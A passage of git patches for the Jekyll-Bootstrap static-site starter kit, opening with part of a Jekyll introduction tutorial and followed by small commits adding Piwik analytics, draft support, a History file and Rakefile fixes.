category you are defining a category hierarchy "set". +Example: + + --- + title : Hello World + categories : [lessons, beginner] + --- + +This defines the category hierarchy "lessons/beginner". Note this is _one category_ node in Jekyll. +You won't find "lessons" and "beginner" as two separate categories unless you define them elsewhere as singular categories. + +### Working With Pages + +**Creating a Page** +Pages are created by properly formatting a file and placing it anywhere in the root directory or subdirectories that do _not_ start with an underscore. + +**Formatting** +In order to register as a Jekyll page the file must contain [YAML Front-Matter](https://github.com/mojombo/jekyll/wiki/YAML-Front-Matter). +Registering a page means 1) that Jekyll will process the page and 2) that the page object will be available in the `site.pages` array for inclusion into your templates. + +**Categories and Tags** +Pages do not compute categories nor tags so defining them will have no effect. + +**Sub-Directories** +If pages are defined in sub-directories, the path to the page will be reflected in the url. +Example: + + . + |-- people + |-- bob + |-- essay.html + +This page will be available at `http://yourdomain.com/people/bob/essay.html` + + +**Recommended Pages** + +- **index.html** + You will always want to define the root index.html page as this will display on your root URL. +- **404.html** + Create a root 404.html page and GitHub Pages will serve it as your 404 response. +- **sitemap.html** + Generating a sitemap is good practice for SEO. +- **about.html** + A nice about page is easy to do and gives the human perspective to your website. + + +## Templates in Jekyll + +Templates are used to contain a page's or post's content. +All templates have access to a global site object variable: `site` as well as a page object variable: `page`. +The site variable holds all accessible content and metadata relative to the site. +The page variable holds accessible data for the given page or post being rendered at that point. + +**Create a Template** +Templates are created by properly formatting a file and placing it in the `_layouts` directory. + +**Formatting** +Templates should be coded in HTML and contain YAML Front Matter. +All templates can contain Liquid code to work with your site's data. + +**Rending Page/Post Content in a Template** +There is a special variable in all templates named : `content`. +The `content` variable holds the page/post content including any sub-template content previously defined. +Render the content variable wherever you want your main content to be injected into your template: + +{% capture text %}... +<body> + <div id="sidebar"> ... </div> + <div id="main"> + |.{content}.| + </div> +</body> +...{% endcapture %} +{% include JB/liquid_raw %} + +### Sub-Templates + +Sub-templates are exactly templates with the only difference being they +define another "root" layout/template within their YAML Front Matter. +This essentially means a template will render inside of another template. + +### Includes +In Jekyll you can define include files by placing them in the `_includes` folder. +Includes are NOT templates, rather they are just code snippets that get included into templates. +In this way, you can treat the code inside includes as if it was native to the parent template. + +Any valid template code may be used in includes. + + +## Using Liquid for Templating + +Templating is perhaps the most confusing and frustrating part of Jekyll. +This is mainly due to the fact that Jekyll templates must use the Liquid Templating Language. + +### What is Liquid? + +[Liquid](https://github.com/Shopify/liquid) is a secure templating language developed by [Shopify](http://shopify.com). +Liquid is designed for end-users to be able to execute logic within template files +without imposing any security risk on the hosting server. + +Jekyll uses Liquid to generate the post content within the final page layout structure and as the primary interface for working with +your site and post/page data. + +### Why Do We Have to Use Liquid? + +GitHub uses Jekyll to power [GitHub Pages](http://pages.github.com/). +GitHub cannot afford to run arbitrary code on their servers so they lock developers down via Liquid. + +### Liquid is Not Programmer-Friendly. + +The short story is liquid is not real code and its not intended to execute real code. +The point being you can't do jackshit in liquid that hasn't been allowed explicitly by the implementation. +What's more you can only access data-structures that have been explicitly passed to the template. + +In Jekyll's case it is not possible to alter what is passed to Liquid without hacking the gem or running custom plugins. +Both of which cannot be supported by GitHub Pages. + +As a programmer - this is very frustrating. + +But rather than look a gift horse in the mouth we are going to +suck it up and view it as an opportunity to work around limitations and adopt client-side solutions when possible. + +**Aside** +My personal stance is to not invest time trying to hack liquid. It's really unnecessary +_from a programmer's_ perspective. That is to say if you have the ability to run custom plugins (i.e. run arbitrary ruby code) +you are better off sticking with ruby. Toward that end I've built [Mustache-with-Jekyll](http://github.com/plusjade/mustache-with-jekyll) + + +## Static Assets + +Static assets are any file in the root or non-underscored subfolders that are not pages. +That is they have no valid YAML Front Matter and are thus not treated as Jekyll Pages. + +Static assets should be used for images, css, and javascript files. + + + + +## How Jekyll Parses Files + +Remember Jekyll is a processing engine. There are two main types of parsing in Jekyll. + +- **Content parsing.** + This is done with textile or markdown. +- **Template parsing.** + This is done with the liquid templating language. + +And thus there are two main types of file formats needed for this parsing. + +- **Post and Page files.** + All content in Jekyll is either a post or a page so valid posts and pages are parsed with markdown or textile. +- **Template files.** + These files go in `_layouts` folder and contain your blogs **templates**. They should be made in HTML with the help of Liquid syntax. + Since include files are simply injected into templates they are essentially parsed as if they were native to the template. + +**Arbitrary files and folders.** +Files that _are not_ valid pages are treated as static content and pass through +Jekyll untouched and reside on your blog in the exact structure and format they originally existed in. + +### Formatting Files for Parsing. + +We've outlined the need for valid formatting using **YAML Front Matter**. +Templates, posts, and pages all need to provide valid YAML Front Matter even if the Matter is empty. +This is the only way Jekyll knows you want the file processed. + +YAML Front Matter must be prepended to the top of template/post/page files: + + --- + layout: post + category : pages + tags : [how-to, jekyll] + --- + + ... contents ... + +Three hyphens on a new line start the Front-Matter block and three hyphens on a new line end the block. +The data inside the block must be valid YAML. + +Configuration parameters for YAML Front-Matter is outlined here: +[A comprehensive explanation of YAML Front Matter](https://github.com/mojombo/jekyll/wiki/YAML-Front-Matter) + +#### Defining Layouts for Posts and Templates Parsing. + +The `layout` parameter in the YAML Front Matter defines the template file for which the given post or template should be injected into. +If a template file specifies its own layout, it is effectively being used as a `sub-template.` +That is to say loading a post file into a template file that refers to another template file with work in the way you'd expect; as a nested sub-template. + + + + + +## How Jekyll Generates the Final Static Files. + +Ultimately, Jekyll's job is to generate a static representation of your website. +The following is an outline of how that's done: + +1. **Jekyll collects data.** + Jekyll scans the posts directory and collects all posts files as post objects. It then scans the layout assets and collects those and finally scans other directories in search of pages. + +2. **Jekyll computes data.** + Jekyll takes these objects, computes metadata (permalinks, tags, categories, titles, dates) from them and constructs one + big `site` object that holds all the posts, pages, layouts, and respective metadata. + At this stage your site is one big computed ruby object. + +3. **Jekyll liquifies posts and templates.** + Next jekyll loops through each post file and converts (through markdown or textile) and **liquifies** the post inside of its respective layout(s). + Once the post is parsed and liquified inside the the proper layout structure, the layout itself is "liquified". + **Liquification** is defined as follows: Jekyll initiates a Liquid template, and passes a simpler hash representation of the ruby site object as well as a simpler + hash representation of the ruby post object. These simplified data structures are what you have access to in the templates. + +3. **Jekyll generates output.** + Finally the liquid templates are "rendered", thereby processing any liquid syntax provided in the templates + and saving the final, static representation of the file. + +**Notes.** +Because Jekyll computes the entire site in one fell swoop, each template is given access to +a global `site` hash that contains useful data. It is this data that you'll iterate through and format +using the Liquid tags and filters in order to render it onto a given page. + +Remember, in Jekyll you are an end-user. Your API has only two components: + +1. The manner in which you setup your directory. +2. The liquid syntax and variables passed into the liquid templates. + +All the data objects available to you in the templates via Liquid are outlined in the **API Section** of Jekyll-Bootstrap. +You can also read the original documentation here: <https://github.com/mojombo/jekyll/wiki/Template-Data> + +## Conclusion + +I hope this paints a clearer picture of what Jekyll is doing and why it works the way it does. +As noted, our main programming constraint is the fact that our API is limited to what is accessible via Liquid and Liquid only. + +Jekyll-bootstrap is intended to provide helper methods and strategies aimed at making it more intuitive and easier to work with Jekyll =) + +**Thank you** for reading this far. + +## Next Steps + +Please take a look at [{{ site.categories.api.first.title }}]({{ BASE_PATH }}{{ site.categories.api.first.url }}) +or jump right into [Usage]({{ BASE_PATH }}{{ site.categories.usage.first.url }}) if you'd like. \ No newline at end of file From 0766ee273d3892f68ec13617b6fc3a4f31b7f28c Mon Sep 17 00:00:00 2001 From: Pierre du Plessis <pierre@pcservice.co.za> Date: Fri, 19 Apr 2013 18:52:10 +0300 Subject: [PATCH 123/144] Fix incorrect tag --- _includes/themes/twitter/post.html | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/_includes/themes/twitter/post.html b/_includes/themes/twitter/post.html index 304743a..2774711 100644 --- a/_includes/themes/twitter/post.html +++ b/_includes/themes/twitter/post.html @@ -5,7 +5,7 @@ <h1>{{ page.title }} {% if page.tagline %}<small>{{page.tagline}}</small>{% endi <div class="row-fluid post-full"> <div class="span12"> <div class="date"> - <span>{{ page.date | date_to_long_string }}</strong> + <span>{{ page.date | date_to_long_string }}</span> </div> <div class="content"> {{ content }} @@ -46,4 +46,4 @@ <h1>{{ page.title }} {% if page.tagline %}<small>{{page.tagline}}</small>{% endi <hr> {% include JB/comments %} </div> -</div> \ No newline at end of file +</div> From ff69d3fc3837c7670065bd23bf01452177148c16 Mon Sep 17 00:00:00 2001 From: Daniel Fone <daniel@fone.net.nz> Date: Sun, 19 May 2013 23:02:53 +1200 Subject: [PATCH 124/144] Better exception handling You probably only want to rescue `ArgumentError` here, but certainly nothing more than the default `StandardError`. Rescuing `Exception` can lead to very strange behaviour. See: http://www.mikeperham.com/2012/03/03/the-perils-of-rescue-exception/ http://stackoverflow.com/a/10048406/1848 --- Rakefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Rakefile b/Rakefile index 18bc7c5..b62cfa8 100644 --- a/Rakefile +++ b/Rakefile @@ -49,7 +49,7 @@ task :post do slug = title.downcase.strip.gsub(' ', '-').gsub(/[^\w-]/, '') begin date = (ENV['date'] ? Time.parse(ENV['date']) : Time.now).strftime('%Y-%m-%d') - rescue Exception => e + rescue => e puts "Error - date format must be YYYY-MM-DD, please check you typed it correctly!" exit -1 end From 2da62d449df482524570e5fb9d20748357bc7a24 Mon Sep 17 00:00:00 2001 From: Romain Sertelon <bluepyth@gmail.com> Date: Tue, 11 Sep 2012 14:43:38 +0200 Subject: [PATCH 125/144] Adds Piwik Analytics Provider --- _config.yml | 3 +++ _includes/JB/analytics | 2 ++ _includes/JB/analytics-providers/piwik | 10 ++++++++++ 3 files changed, 15 insertions(+) create mode 100755 _includes/JB/analytics-providers/piwik diff --git a/_config.yml b/_config.yml index 4b87333..a62df10 100644 --- a/_config.yml +++ b/_config.yml @@ -106,6 +106,9 @@ JB : site_id : mixpanel : token : '_MIXPANEL_TOKEN_' + piwik : + baseURL : 'myserver.tld/piwik' # Piwik installation address (without protocol) + idsite : '1' # the id of the site on Piwik # Settings for sharing helper. # Sharing is for things like tweet, plusone, like, reddit buttons etc. diff --git a/_includes/JB/analytics b/_includes/JB/analytics index 4b04ec9..951a0e3 100644 --- a/_includes/JB/analytics +++ b/_includes/JB/analytics @@ -7,6 +7,8 @@ {% include JB/analytics-providers/getclicky %} {% when "mixpanel" %} {% include JB/analytics-providers/mixpanel %} +{% when "piwik" %} + {% include JB/analytics-providers/piwik %} {% when "custom" %} {% include custom/analytics %} {% endcase %} diff --git a/_includes/JB/analytics-providers/piwik b/_includes/JB/analytics-providers/piwik new file mode 100755 index 0000000..077a373 --- /dev/null +++ b/_includes/JB/analytics-providers/piwik @@ -0,0 +1,10 @@ +<script type="text/javascript"> + var pkBaseURL = (("https:" == document.location.protocol) ? "https://{{ site.JB.analytics.piwik.baseURL }}/" : "http://{{ site.JB.analytics.piwik.baseURL }}/"); + document.write(unescape("%3Cscript src='" + pkBaseURL + "piwik.js' type='text/javascript'%3E%3C/script%3E")); +</script><script type="text/javascript"> + try { + var piwikTracker = Piwik.getTracker(pkBaseURL + "piwik.php", {{ site.JB.analytics.piwik.idsite }}); + piwikTracker.trackPageView(); + piwikTracker.enableLinkTracking(); + } catch( err ) {} +</script><noscript><p><img src="http://{{ site.JB.analytics.piwik.baseURL }}/piwik.php?idsite={{ site.JB.analytics.piwik.idsite }}" style="border:0" alt="" /></p></noscript> \ No newline at end of file From c2d70e5c577d2602f58e9e4372cc62640ba789e9 Mon Sep 17 00:00:00 2001 From: Marshall Shen <mshen@groupon.com> Date: Tue, 23 Jul 2013 21:29:55 -0500 Subject: [PATCH 126/144] add draft feature --- _drafts/jekyll-introduction-draft.md | 10 ++++++++++ 1 file changed, 10 insertions(+) create mode 100644 _drafts/jekyll-introduction-draft.md diff --git a/_drafts/jekyll-introduction-draft.md b/_drafts/jekyll-introduction-draft.md new file mode 100644 index 0000000..88b93f0 --- /dev/null +++ b/_drafts/jekyll-introduction-draft.md @@ -0,0 +1,10 @@ +--- +layout: post +category : lessons +tagline: "Supporting tagline" +tags : [intro, beginner, jekyll, tutorial] +--- +{% include JB/setup %} + + +This is an example of a draft. Read more here: [http://jekyllrb.com/docs/drafts/](http://jekyllrb.com/docs/drafts/) From cd50618b5f2202391b72a715ff28b0748ad203ea Mon Sep 17 00:00:00 2001 From: Marshall Shen <mshen@groupon.com> Date: Tue, 6 Aug 2013 14:04:52 -0500 Subject: [PATCH 127/144] add History markdown --- History.markdown | 13 + _drafts/jekyll-introduction-draft.md | 412 --------------------------- 2 files changed, 13 insertions(+), 412 deletions(-) create mode 100644 History.markdown delete mode 100644 _drafts/jekyll-introduction-draft.md diff --git a/History.markdown b/History.markdown new file mode 100644 index 0000000..a97602e --- /dev/null +++ b/History.markdown @@ -0,0 +1,13 @@ +## HEAD + +### Major Enhancements + +### Minor Enahncements + * Add `drafts` folder support (#167) + * Add `excerpt` support (#168) + * Create History.markdown to help project management (#169) + +### Bug Fixes + +### Site Enhancements + diff --git a/_drafts/jekyll-introduction-draft.md b/_drafts/jekyll-introduction-draft.md deleted file mode 100644 index 84df475..0000000 --- a/_drafts/jekyll-introduction-draft.md +++ /dev/null @@ -1,412 +0,0 @@ ---- -layout: post -category : lessons -tagline: "Supporting tagline" -tags : [intro, beginner, jekyll, tutorial] ---- -{% include JB/setup %} - -This Jekyll introduction will outline specifically what Jekyll is and why you would want to use it. -Directly following the intro we'll learn exactly _how_ Jekyll does what it does. - -## Overview - -### What is Jekyll? - -Jekyll is a parsing engine bundled as a ruby gem used to build static websites from -dynamic components such as templates, partials, liquid code, markdown, etc. Jekyll is known as "a simple, blog aware, static site generator". - -### Examples - -This website is created with Jekyll. [Other Jekyll websites](https://github.com/mojombo/jekyll/wiki/Sites). - - - -### What does Jekyll Do? - -Jekyll is a ruby gem you install on your local system. -Once there you can call `jekyll --server` on a directory and provided that directory -is setup in a way jekyll expects, it will do magic stuff like parse markdown/textile files, -compute categories, tags, permalinks, and construct your pages from layout templates and partials. - -Once parsed, Jekyll stores the result in a self-contained static `_site` folder. -The intention here is that you can serve all contents in this folder statically from a plain static web-server. - -You can think of Jekyll as a normalish dynamic blog but rather than parsing content, templates, and tags -on each request, Jekyll does this once _beforehand_ and caches the _entire website_ in a folder for serving statically. - -### Jekyll is Not Blogging Software - -**Jekyll is a parsing engine.** - -Jekyll does not come with any content nor does it have any templates or design elements. -This is a common source of confusion when getting started. -Jekyll does not come with anything you actually use or see on your website - you have to make it. - -### Why Should I Care? - -Jekyll is very minimalistic and very efficient. -The most important thing to realize about Jekyll is that it creates a static representation of your website requiring only a static web-server. -Traditional dynamic blogs like Wordpress require a database and server-side code. -Heavily trafficked dynamic blogs must employ a caching layer that ultimately performs the same job Jekyll sets out to do; serve static content. - -Therefore if you like to keep things simple and you prefer the command-line over an admin panel UI then give Jekyll a try. - -**Developers like Jekyll because we can write content like we write code:** - -- Ability to write content in markdown or textile in your favorite text-editor. -- Ability to write and preview your content via localhost. -- No internet connection required. -- Ability to publish via git. -- Ability to host your blog on a static web-server. -- Ability to host freely on GitHub Pages. -- No database required. - -# How Jekyll Works - -The following is a complete but concise outline of exactly how Jekyll works. - -Be aware that core concepts are introduced in rapid succession without code examples. -This information is not intended to specifically teach you how to do anything, rather it -is intended to give you the _full picture_ relative to what is going on in Jekyll-world. - -Learning these core concepts should help you avoid common frustrations and ultimately -help you better understand the code examples contained throughout Jekyll-Bootstrap. - - -## Initial Setup - -After [installing jekyll](/index.html#start-now) you'll need to format your website directory in a way jekyll expects. -Jekyll-bootstrap conveniently provides the base directory format. - -### The Jekyll Application Base Format - -Jekyll expects your website directory to be laid out like so: - - . - |-- _config.yml - |-- _includes - |-- _layouts - | |-- default.html - | |-- post.html - |-- _posts - | |-- 2011-10-25-open-source-is-good.markdown - | |-- 2011-04-26-hello-world.markdown - |-- _site - |-- index.html - |-- assets - |-- css - |-- style.css - |-- javascripts - - -- **\_config.yml** - Stores configuration data. - -- **\_includes** - This folder is for partial views. - -- **\_layouts** - This folder is for the main templates your content will be inserted into. - You can have different layouts for different pages or page sections. - -- **\_posts** - This folder contains your dynamic content/posts. - the naming format is required to be `@YEAR-MONTH-DATE-title.MARKUP@`. - -- **\_site** - This is where the generated site will be placed once Jekyll is done transforming it. - -- **assets** - This folder is not part of the standard jekyll structure. - The assets folder represents _any generic_ folder you happen to create in your root directory. - Directories and files not properly formatted for jekyll will be left untouched for you to serve normally. - -(read more: <https://github.com/mojombo/jekyll/wiki/Usage>) - - -### Jekyll Configuration - -Jekyll supports various configuration options that are fully outlined here: -<https://github.com/mojombo/jekyll/wiki/Configuration> - - - - -## Content in Jekyll - -Content in Jekyll is either a post or a page. -These content "objects" get inserted into one or more templates to build the final output for its respective static-page. - -### Posts and Pages - -Both posts and pages should be written in markdown, textile, or HTML and may also contain Liquid templating syntax. -Both posts and pages can have meta-data assigned on a per-page basis such as title, url path, as well as arbitrary custom meta-data. - -### Working With Posts - -**Creating a Post** -Posts are created by properly formatting a file and placing it the `_posts` folder. - -**Formatting** -A post must have a valid filename in the form `YEAR-MONTH-DATE-title.MARKUP` and be placed in the `_posts` directory. -If the data format is invalid Jekyll will not recognize the file as a post. The date and title are automatically parsed from the filename of the post file. -Additionally, each file must have [YAML Front-Matter](https://github.com/mojombo/jekyll/wiki/YAML-Front-Matter) prepended to its content. -YAML Front-Matter is a valid YAML syntax specifying meta-data for the given file. - -**Order** -Ordering is an important part of Jekyll but it is hard to specify a custom ordering strategy. -Only reverse chronological and chronological ordering is supported in Jekyll. - -Since the date is hard-coded into the filename format, to change the order, you must change the dates in the filenames. - -**Tags** -Posts can have tags associated with them as part of their meta-data. -Tags may be placed on posts by providing them in the post's YAML front matter. -You have access to the post-specific tags in the templates. These tags also get added to the sitewide collection. - -**Categories** -Posts may be categorized by providing one or more categories in the YAML front matter. -Categories offer more significance over tags in that they can be reflected in the URL path to the given post. -Note categories in Jekyll work in a specific way. -If you define more than one category you are defining a category hierarchy "set". -Example: - - --- - title : Hello World - categories : [lessons, beginner] - --- - -This defines the category hierarchy "lessons/beginner". Note this is _one category_ node in Jekyll. -You won't find "lessons" and "beginner" as two separate categories unless you define them elsewhere as singular categories. - -### Working With Pages - -**Creating a Page** -Pages are created by properly formatting a file and placing it anywhere in the root directory or subdirectories that do _not_ start with an underscore. - -**Formatting** -In order to register as a Jekyll page the file must contain [YAML Front-Matter](https://github.com/mojombo/jekyll/wiki/YAML-Front-Matter). -Registering a page means 1) that Jekyll will process the page and 2) that the page object will be available in the `site.pages` array for inclusion into your templates. - -**Categories and Tags** -Pages do not compute categories nor tags so defining them will have no effect. - -**Sub-Directories** -If pages are defined in sub-directories, the path to the page will be reflected in the url. -Example: - - . - |-- people - |-- bob - |-- essay.html - -This page will be available at `http://yourdomain.com/people/bob/essay.html` - - -**Recommended Pages** - -- **index.html** - You will always want to define the root index.html page as this will display on your root URL. -- **404.html** - Create a root 404.html page and GitHub Pages will serve it as your 404 response. -- **sitemap.html** - Generating a sitemap is good practice for SEO. -- **about.html** - A nice about page is easy to do and gives the human perspective to your website. - - -## Templates in Jekyll - -Templates are used to contain a page's or post's content. -All templates have access to a global site object variable: `site` as well as a page object variable: `page`. -The site variable holds all accessible content and metadata relative to the site. -The page variable holds accessible data for the given page or post being rendered at that point. - -**Create a Template** -Templates are created by properly formatting a file and placing it in the `_layouts` directory. - -**Formatting** -Templates should be coded in HTML and contain YAML Front Matter. -All templates can contain Liquid code to work with your site's data. - -**Rending Page/Post Content in a Template** -There is a special variable in all templates named : `content`. -The `content` variable holds the page/post content including any sub-template content previously defined. -Render the content variable wherever you want your main content to be injected into your template: - -{% capture text %}... -<body> - <div id="sidebar"> ... </div> - <div id="main"> - |.{content}.| - </div> -</body> -...{% endcapture %} -{% include JB/liquid_raw %} - -### Sub-Templates - -Sub-templates are exactly templates with the only difference being they -define another "root" layout/template within their YAML Front Matter. -This essentially means a template will render inside of another template. - -### Includes -In Jekyll you can define include files by placing them in the `_includes` folder. -Includes are NOT templates, rather they are just code snippets that get included into templates. -In this way, you can treat the code inside includes as if it was native to the parent template. - -Any valid template code may be used in includes. - - -## Using Liquid for Templating - -Templating is perhaps the most confusing and frustrating part of Jekyll. -This is mainly due to the fact that Jekyll templates must use the Liquid Templating Language. - -### What is Liquid? - -[Liquid](https://github.com/Shopify/liquid) is a secure templating language developed by [Shopify](http://shopify.com). -Liquid is designed for end-users to be able to execute logic within template files -without imposing any security risk on the hosting server. - -Jekyll uses Liquid to generate the post content within the final page layout structure and as the primary interface for working with -your site and post/page data. - -### Why Do We Have to Use Liquid? - -GitHub uses Jekyll to power [GitHub Pages](http://pages.github.com/). -GitHub cannot afford to run arbitrary code on their servers so they lock developers down via Liquid. - -### Liquid is Not Programmer-Friendly. - -The short story is liquid is not real code and its not intended to execute real code. -The point being you can't do jackshit in liquid that hasn't been allowed explicitly by the implementation. -What's more you can only access data-structures that have been explicitly passed to the template. - -In Jekyll's case it is not possible to alter what is passed to Liquid without hacking the gem or running custom plugins. -Both of which cannot be supported by GitHub Pages. - -As a programmer - this is very frustrating. - -But rather than look a gift horse in the mouth we are going to -suck it up and view it as an opportunity to work around limitations and adopt client-side solutions when possible. - -**Aside** -My personal stance is to not invest time trying to hack liquid. It's really unnecessary -_from a programmer's_ perspective. That is to say if you have the ability to run custom plugins (i.e. run arbitrary ruby code) -you are better off sticking with ruby. Toward that end I've built [Mustache-with-Jekyll](http://github.com/plusjade/mustache-with-jekyll) - - -## Static Assets - -Static assets are any file in the root or non-underscored subfolders that are not pages. -That is they have no valid YAML Front Matter and are thus not treated as Jekyll Pages. - -Static assets should be used for images, css, and javascript files. - - - - -## How Jekyll Parses Files - -Remember Jekyll is a processing engine. There are two main types of parsing in Jekyll. - -- **Content parsing.** - This is done with textile or markdown. -- **Template parsing.** - This is done with the liquid templating language. - -And thus there are two main types of file formats needed for this parsing. - -- **Post and Page files.** - All content in Jekyll is either a post or a page so valid posts and pages are parsed with markdown or textile. -- **Template files.** - These files go in `_layouts` folder and contain your blogs **templates**. They should be made in HTML with the help of Liquid syntax. - Since include files are simply injected into templates they are essentially parsed as if they were native to the template. - -**Arbitrary files and folders.** -Files that _are not_ valid pages are treated as static content and pass through -Jekyll untouched and reside on your blog in the exact structure and format they originally existed in. - -### Formatting Files for Parsing. - -We've outlined the need for valid formatting using **YAML Front Matter**. -Templates, posts, and pages all need to provide valid YAML Front Matter even if the Matter is empty. -This is the only way Jekyll knows you want the file processed. - -YAML Front Matter must be prepended to the top of template/post/page files: - - --- - layout: post - category : pages - tags : [how-to, jekyll] - --- - - ... contents ... - -Three hyphens on a new line start the Front-Matter block and three hyphens on a new line end the block. -The data inside the block must be valid YAML. - -Configuration parameters for YAML Front-Matter is outlined here: -[A comprehensive explanation of YAML Front Matter](https://github.com/mojombo/jekyll/wiki/YAML-Front-Matter) - -#### Defining Layouts for Posts and Templates Parsing. - -The `layout` parameter in the YAML Front Matter defines the template file for which the given post or template should be injected into. -If a template file specifies its own layout, it is effectively being used as a `sub-template.` -That is to say loading a post file into a template file that refers to another template file with work in the way you'd expect; as a nested sub-template. - - - - - -## How Jekyll Generates the Final Static Files. - -Ultimately, Jekyll's job is to generate a static representation of your website. -The following is an outline of how that's done: - -1. **Jekyll collects data.** - Jekyll scans the posts directory and collects all posts files as post objects. It then scans the layout assets and collects those and finally scans other directories in search of pages. - -2. **Jekyll computes data.** - Jekyll takes these objects, computes metadata (permalinks, tags, categories, titles, dates) from them and constructs one - big `site` object that holds all the posts, pages, layouts, and respective metadata. - At this stage your site is one big computed ruby object. - -3. **Jekyll liquifies posts and templates.** - Next jekyll loops through each post file and converts (through markdown or textile) and **liquifies** the post inside of its respective layout(s). - Once the post is parsed and liquified inside the the proper layout structure, the layout itself is "liquified". - **Liquification** is defined as follows: Jekyll initiates a Liquid template, and passes a simpler hash representation of the ruby site object as well as a simpler - hash representation of the ruby post object. These simplified data structures are what you have access to in the templates. - -3. **Jekyll generates output.** - Finally the liquid templates are "rendered", thereby processing any liquid syntax provided in the templates - and saving the final, static representation of the file. - -**Notes.** -Because Jekyll computes the entire site in one fell swoop, each template is given access to -a global `site` hash that contains useful data. It is this data that you'll iterate through and format -using the Liquid tags and filters in order to render it onto a given page. - -Remember, in Jekyll you are an end-user. Your API has only two components: - -1. The manner in which you setup your directory. -2. The liquid syntax and variables passed into the liquid templates. - -All the data objects available to you in the templates via Liquid are outlined in the **API Section** of Jekyll-Bootstrap. -You can also read the original documentation here: <https://github.com/mojombo/jekyll/wiki/Template-Data> - -## Conclusion - -I hope this paints a clearer picture of what Jekyll is doing and why it works the way it does. -As noted, our main programming constraint is the fact that our API is limited to what is accessible via Liquid and Liquid only. - -Jekyll-bootstrap is intended to provide helper methods and strategies aimed at making it more intuitive and easier to work with Jekyll =) - -**Thank you** for reading this far. - -## Next Steps - -Please take a look at [{{ site.categories.api.first.title }}]({{ BASE_PATH }}{{ site.categories.api.first.url }}) -or jump right into [Usage]({{ BASE_PATH }}{{ site.categories.usage.first.url }}) if you'd like. \ No newline at end of file From 50aa9b60c23470cbfe6fc2d26b92148296d3482e Mon Sep 17 00:00:00 2001 From: Mark IJbema <markijbema@gmail.com> Date: Sat, 10 Aug 2013 22:01:40 +0200 Subject: [PATCH 128/144] Fixed outdated link --- _config.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_config.yml b/_config.yml index a62df10..76a2cdb 100644 --- a/_config.yml +++ b/_config.yml @@ -1,5 +1,5 @@ # This is the default format. -# For more see: https://github.com/mojombo/jekyll/wiki/Permalinks +# For more see: http://jekyllrb.com/docs/permalinks/ permalink: /:categories/:year/:month/:day/:title exclude: [".rvmrc", ".rbenv-version", "README.md", "Rakefile", "changelog.md"] From af9c45d973f88cd7d9f3e43db2455c67336aacc2 Mon Sep 17 00:00:00 2001 From: "G. Bodenschatz" <coding@46halbe.de> Date: Thu, 15 Aug 2013 22:20:36 +0200 Subject: [PATCH 129/144] [FIX] Fix tags output in :post task --- Rakefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Rakefile b/Rakefile index b62cfa8..26e901f 100644 --- a/Rakefile +++ b/Rakefile @@ -65,7 +65,7 @@ task :post do post.puts "title: \"#{title.gsub(/-/,' ')}\"" post.puts 'description: ""' post.puts "category: " - post.puts "tags: []" + post.puts "tags: #{tags}" post.puts "---" post.puts "{% include JB/setup %}" end From 4a934b023ee46b03d37f16277c95b9ae10cb52a0 Mon Sep 17 00:00:00 2001 From: "G. Bodenschatz" <coding@46halbe.de> Date: Thu, 15 Aug 2013 23:05:55 +0200 Subject: [PATCH 130/144] [FIX] Fixed small typo in comment --- Rakefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Rakefile b/Rakefile index b62cfa8..d68dc85 100644 --- a/Rakefile +++ b/Rakefile @@ -109,7 +109,7 @@ namespace :theme do # Public: Switch from one theme to another for your blog. # # name - String, Required. name of the theme you want to switch to. - # The the theme must be installed into your JB framework. + # The theme must be installed into your JB framework. # # Examples # From 28c3ba7a4885a2706216d335870ccc17767fec90 Mon Sep 17 00:00:00 2001 From: Kristof Vannotten <kristof@vannotten.be> Date: Sat, 31 Aug 2013 18:04:52 +0800 Subject: [PATCH 131/144] Updated Rakefile :preview command to new Jekyll standards jekyll --server --auto is deprecated and has been replaced with jekyll serve(r) -w(atch) --- Rakefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Rakefile b/Rakefile index 97d4d6c..991b36a 100644 --- a/Rakefile +++ b/Rakefile @@ -98,7 +98,7 @@ end # task :page desc "Launch preview environment" task :preview do - system "jekyll --auto --server" + system "jekyll serve -w" end # task :preview # Public: Alias - Maintains backwards compatability for theme switching. From dbdf47a9767da8851ed996d4d2d407009db177d6 Mon Sep 17 00:00:00 2001 From: Kristof Vannotten <kristof@vannotten.be> Date: Tue, 3 Sep 2013 13:41:00 +0800 Subject: [PATCH 132/144] Updated _config.yml => removed auto property, deprecated in the latest jekyll --- _config.yml | 1 - 1 file changed, 1 deletion(-) diff --git a/_config.yml b/_config.yml index 76a2cdb..17bd3e2 100644 --- a/_config.yml +++ b/_config.yml @@ -3,7 +3,6 @@ permalink: /:categories/:year/:month/:day/:title exclude: [".rvmrc", ".rbenv-version", "README.md", "Rakefile", "changelog.md"] -auto: true pygments: true # Themes are encouraged to use these universal variables From fed94a262d9e4e6551443cd5bd0d3efba2d70e01 Mon Sep 17 00:00:00 2001 From: Marshall Shen <shen.marshall@gmail.com> Date: Wed, 4 Sep 2013 11:34:24 -0500 Subject: [PATCH 133/144] Update History.markdown --- History.markdown | 3 +++ 1 file changed, 3 insertions(+) diff --git a/History.markdown b/History.markdown index a97602e..5ef89c1 100644 --- a/History.markdown +++ b/History.markdown @@ -11,3 +11,6 @@ ### Site Enhancements +### Compatibility updates + * Update `preview` task + From 56bc767a53415619cc99fbadd76abf2391f571fd Mon Sep 17 00:00:00 2001 From: Miguel <me@miguelos.me> Date: Sat, 7 Sep 2013 19:16:25 +0100 Subject: [PATCH 134/144] Update 'rake post' to support category on command line Updated comment. Creating a post with multiple tags require no whitespaces between tags: rake post title="A Title" [date="2012-02-09"] ... tags=[tag1,tag2] or quotes: rake post title="A Title" [date="2012-02-09"] ... tags="[tag1, tag2]" --- Rakefile | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/Rakefile b/Rakefile index 991b36a..176c94b 100644 --- a/Rakefile +++ b/Rakefile @@ -40,12 +40,13 @@ module JB end #Path end #JB -# Usage: rake post title="A Title" [date="2012-02-09"] [tags=[tag1, tag2]] +# Usage: rake post title="A Title" [date="2012-02-09"] [tags=[tag1,tag2]] [category="category"] desc "Begin a new post in #{CONFIG['posts']}" task :post do abort("rake aborted: '#{CONFIG['posts']}' directory not found.") unless FileTest.directory?(CONFIG['posts']) title = ENV["title"] || "new-post" tags = ENV["tags"] || "[]" + category = 